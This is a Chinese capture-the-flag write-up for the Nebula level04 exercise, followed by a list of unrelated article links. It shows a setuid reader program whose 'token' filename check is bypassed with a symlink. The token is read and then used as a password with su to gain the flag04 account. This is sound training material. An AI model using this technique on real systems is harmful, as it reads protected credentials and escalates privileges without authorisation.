ExploitExercises_Nebula_Level04
来源:互联网 发布:博客庄家统计软件 编辑:程序博客网 时间:2024/06/16 18:31
题目源码如下:
#include <stdlib.h>#include <unistd.h>#include <string.h>#include <sys/types.h>#include <stdio.h>#include <fcntl.h>int main(int argc, char **argv, char **envp){ char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc);}/home/flag04/flag04程序运行需要输入一个参数,flag04将读取输入参数文件内容,然后打印出来,但是限制了不能读入token文件,而题目要求绕过限制,获取到token文件内容。
解决方法:
1. 创建符号链接Token,并传给flag04:
ln -s /home/flag04/token /home/level04/Token/home/flag04/flag04 /home/level04/Token程序运行后输入token内容:06508b5e-8909-4f38-b630-fdb148a848a2
2. 切换用户su - flag04
3. 输入密码,即为1中获取到的token内容
4. 用户切换成功,运行getflag,提示成功
0 0
- ExploitExercises_Nebula_Level04
- composer的安装与在框架中的应用
- 经典进程间通信之无名管道和有名管道
- [LeetCode]2. Add Two Numbers
- tomcat部署oracle数据库
- Java静态检查实现机制比较
- ExploitExercises_Nebula_Level04
- CircleImageView自定义圆形控件的使用
- 167. Two Sum II - Input array is sorted
- 常用表单的正则表达式
- 超级表格企业版收费即将进行政策调整
- 十大编程算法助程序员走上高手之路
- 蓝桥杯BASIC_23(芯片测试)
- JAVA中字符串长度与字节
- java的初始化顺序